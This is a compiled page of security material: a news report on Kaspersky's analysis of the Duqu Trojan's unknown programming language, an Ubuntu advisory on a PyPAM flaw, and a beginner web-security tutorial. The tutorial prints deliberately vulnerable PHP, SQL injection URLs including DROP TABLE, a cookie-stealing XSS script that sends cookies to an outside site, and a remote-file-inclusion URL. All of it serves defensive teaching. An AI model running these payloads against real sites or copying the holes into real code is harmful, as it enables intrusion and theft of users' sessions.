MYSTERY programming language found in Duqu

Anti-virus boffins appeal to devs for help

Security researchers are appealing for help after discovering that part of the Duqu Trojan was written in an unknown programming language.

Duqu is a sophisticated Trojan reckoned to have been created by the same group behind the infamous Stuxnet worm. While the finely tuned Stuxnet worm was designed to home in on specific industrial control systems – namely systems controlling high-speed centrifuges used by Iran's controversial nuclear enrichment plants – Duqu was created to fulfil the slightly different role of a backdoor where intruders could slip into SCADA-based systems and nick confidential information.

Securo-boffins at Kaspersky Lab have discovered during their research that Duqu uses the mystery code to communicate with its Command and Control (C&C) servers once it infects a compromised machine. Researchers at the Russian anti-virus firm have named this unknown section the "Duqu Framework".

Unlike the rest of Duqu, the Duqu Framework is not written in C++ and it's not compiled with Microsoft's Visual C++ 2008. The Kaspersky research team has gone some way in unravelling the mystery language used by the Duqu Framework, but still needs addition help. So far, the researchers have worked out what the mystery code does, but are still mostly in the dark about the grammar and syntax of the programming language, they said.

Kaspersky Lab researchers explained:

It is possible that its authors used an in-house framework to generate intermediary C code, or they used another completely different programming language. However, Kaspersky Lab researchers have confirmed that the language is object-oriented and performs its own set of related activities that are suitable for network applications.

The language in the Duqu Framework is highly specialised. It enables the Payload DLL to operate independently of the other Duqu modules and connects it to its dedicated C&C through several paths, including Windows HTTP, network sockets and proxy servers. It also allows the Payload DLL to process HTTP server requests from the C&C directly, stealthily transmit copies of stolen information from the infected machine to the C&C and even distribute additional malicious payload to other machines on the network, creating a controlled and discreet form of spreading infections to other computers.

Having gone as probably as far as they can, Kaspersky Lab is appealing to the programming community for support in analysing the mystery language used to build the malware. It wants to hear from coders who recognise either a framework, toolkit or a programming language that can generate similar code.

The creation of a dedicated programming language to construct the communications module shows how skilled the developers were, as well as providing evidence that significant financial resources were ploughed into developing the Duqu Trojan project.

"Given the size of the Duqu project, it’s possible that an entirely different team was responsible for creating the Duqu Framework as opposed to the team that created the drivers and wrote the system infection exploits," explained Alexander Gostev, chief security expert at Kaspersky Lab. "With the extremely high level of customisation and exclusivity that the programming language was created with, it is also possible that it was made not only to prevent external parties from understanding the cyber-espionage operation and the interactions with the C&Cs, but also to keep it separate from other internal Duqu teams who were responsible for writing the additional parts of the malicious program."

Duqu was first detected in September 2011, but Kaspersky Lab reckons the first trace of Duqu-related malware dates all the way back to August 2007. The Russian security firm has logged more than a dozen incidents of Duqu infection, with the vast majority of victims located in Iran.

More details about the Duqu Trojan and its mystery communications modules can be found on Securelist, Kaspersky Lab’s research site. Researchers at Kaspersky, which has carried out a great deal of top-notch analysis work on the topic, were the first to find the "smoking code" linking Stuxnet and Duqu.

Source-author:  John Leyden

Source: http://www.theregister.co.uk/

============================================================================

Ubuntu Security Notice USN-1395-1

March 08, 2012

python-pam vulnerability

============================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 11.10

- Ubuntu 11.04

- Ubuntu 10.10

- Ubuntu 10.04 LTS

Summary:

PyPAM could be made to crash or possibly run programs if it processed

a specially crafted password.

Software Description:

- python-pam: A Python interface to the PAM library

Details:

Markus Vervier discovered that PyPAM incorrectly handled passwords

containing NULL bytes. An attacker could exploit this to cause applications

using PyPAM to crash, or possibly execute arbitrary code.

Update instructions:

The problem can be corrected by updating your system to the following

package versions:

Ubuntu 11.10:

  python-pam                      0.4.2-12.2ubuntu2.11.10.1

Ubuntu 11.04:

  python-pam                      0.4.2-12.2ubuntu2.11.04.1

Ubuntu 10.10:

  python-pam                      0.4.2-12.1ubuntu1.10.10.1

Ubuntu 10.04 LTS:

  python-pam                      0.4.2-12.1ubuntu1.10.04.1

After a standard system update you need to restart applications that use

PyPAM to make all the necessary changes.

References:

  http://www.ubuntu.com/usn/usn-1395-1

  CVE-2012-1502

Package Information:

  https://launchpad.net/ubuntu/+source/python-pam/0.4.2-12.2ubuntu2.11.10.1

  https://launchpad.net/ubuntu/+source/python-pam/0.4.2-12.2ubuntu2.11.04.1

  https://launchpad.net/ubuntu/+source/python-pam/0.4.2-12.1ubuntu1.10.10.1

  https://launchpad.net/ubuntu/+source/python-pam/0.4.2-12.1ubuntu1.10.04.1

Source:www.packetstormsecurity.net

Protection and Methodologies of Security Vulnerabilities in Web Development

Security in web development
Our new article focuses on security in web. Many beginners (and not only) web programmers sometimes can make mistakes when developing its web applications. Our article is intended to eliminate potential gaps in knowledge web developers. It is quite possible that you already know something, but I’ll be incredibly happy if you learn anything new. Today we learn about most popular exploits (with samples).

For the beginning – a few basic terms:

·        SQL injection – unauthorized execution of SQL queries

·        DoS/DDoS – Denial-of-service / distributed denial of service attack

·        XSS Cross-site Scripting – injecting custom scripts to web pages

·        CSRF Cross-site request forgery – allows you to perform different actions directly in browser

·        RFI/LFI – Remote / Local file including.

 

1. SQL injections

It is quite possible that most developers already know about this vulnerability (and always check all incoming data before using it in SQL). But sometimes overlooked. And let’s say they write code like this:

tests.php

1	$iId = $_GET['id'];
2	$sSQL = 'SELECT * FROM `Profiles` WHERE `ID`=' . $iId;

3	$aRes = db_get_arr($sSQL); // execution of SQL and collecting result as array
4	echo $aRes['NickName'];

So, they intend to take the parameter ‘id’, find the user in the database with that ‘id’, and to display his name. But a hacker does not sleep. If in normal way your page should be like: tests.php?id=5, hacker can make:

tests.php?id=-2 + union + SELECT * FROM Profiles WHERE ID=89

as example, or even

tests.php?id=-2 + union + DROP TABLE Profiles

Bad, isn`t it? That is why we never must believe to all income parameters. And – make params safe, as example:

1	$iId = (int)$_GET['id'];
2	// or

3	$iId = mysql_real_escape_string($_GET['id']);

1.2. SQL – DoS attacks

Commonly – DoS attacks is attempt to overload your server, so it will unable to serve other customers. Or this access will difficult. I give you one example (also in PHP):

tests.php

1	$iLim = (int)$_GET['max'];
2	$sSQL = 'SELECT * FROM `Profiles` LIMIT 0, ' . $iLim;

3	$aRes = db_get_all($sSQL); // execution of SQL and collecting all result
4	foreach ($aRes ...) { .. doing something .. }

Firstly – nothing bad here, right – all pretty safe, … but, imagine that we having 1 million records in table? This SQL request will overload server in this case. And what if same request (to open that link: test.php?max=1000000) will executed from several computers in same time? Not sure that your server will happy 

 

2. XSS/CSRF

Usually, HTML injections possible to divide into two types: active and passive. Active – malignant code (html/js) embedding into database (as example – forum post, blog entry etc). In this case – that bad code will execution always in time of drawing its content (as forum page). Passive – html/js code will executing directly by accessing the script with a pre-defined parameters. An example – some search form, when, after filling it with html code it will be implemented in the search results. Here are one of usual methods:

1	<script>
2	document.write('<img src = "http://mysite.com/code.php?params=' + document.cookie + '">');

3

</script>

In this sample we will passing logged member cookies to another website (hidden). Or another sample:

1	<img src="http://mysite2.com/image.png" onmouseover="javascript:DoSomethingBad();"></img>

Similar security hole was found in phpBB in 2002 (as example).

So about CSRF, this is similar, this using http protocol flaws. Most popular sample – hidden doing some actions (as example – entering to some payment website, transfer money to attacker`s account, or sending spam from you to your contacts)

3. RFI/LFI

You must be very careful if ‘register_globals’ server param is ON. It will allow to include remote files and execute them. Here are sample of bad code:

index.php

1	<?
2	...

3	$module = $_GET['module'];
4	include ($module.'.php');

5	...
6	?>

Even if you will use $_POST – this will unsafe too. More, I don`t recommend to use similar code at all (to include/require_once/include_once/require/create_function of incoming data). Firstly we even not checked it what is it. And this is very bad. Hacker can do:

http://yoursite.com/index.php?module=http://remotesite.com/bad.txt

In this case hacker able to accept even full access for execution at your server. Commonly hacker will able just pack his PHP code in this txt file and have access to all your inner variables in place of ‘include’ calling. Just interesting – txt files is most popular file format for this purpose. So, as solution – always checking what you got outside in your $_GET['module'] – better even through SWITCH CASE.

---

 

All rest most popular errors during creating websites:

Enabled Debug on LIVE website

Sometimes can happen that during errors – website display any error logs (using ‘var_export’, ‘debug_backtrace’, ‘debug_print_backtrace’ or similar ‘useful’ output logs. Hacking become more easier when attacker can reveal the full path to the web directories, and knows values of all various internal variables. As protection – don`t display errors with any important info, display or short text: ‘Sorry, Error’ (and write log to some local server file), or just call die. It will more safe than hack attempts.

 

Directory indexing

Try avoid to display listing of files/folders of any folder of your project. Thus, the hacker can not study the structure of your site. This is possible with .htaccess file as example:

1	Deny from all

 

File Upload

This is one of most important step. NEVER allow to hacker to save file (through upload) as is at your server. Always check MIME type of all files, and allow only necessary types. Secondly – don`t save file with original extension. It always can happen that hacker uploaded some shell script (even in TXT format). So this will bad if hacker will able to execute it – you can just imagine. In result – save all uploaded files as some cache files (with random names and without extension) – keep it safe. Also, keep in mind, in case of necessity of conversion/unpacking of archives – carefully with Names of files and its Sizes. This is possible that bad person packed huge file (to many gigabytes) into small archive (few KB). This is possible if content of file filled with something repeated, as example ’0′. And, ufter unpacking such file you can get DoS too.

Source:

.svn files

Here you can read two interesting stories:

http://techcrunch.com/2009/09/23/basic-flaw-reveals-source-code-to-3300-popular-websites/

http://h30499.www3.hp.com/t5/The-HP-Security-Laboratory-Blog/Is-your-svn-showing-like-3300-other-sites/ba-p/2408752

Conclusion

Today I tried to make common review for common attack methods. Hopefully article will interesting to most of beginners. I hope that you never will hacked and you will able to create proper protection.

Good luck!

Have  a hack day!!..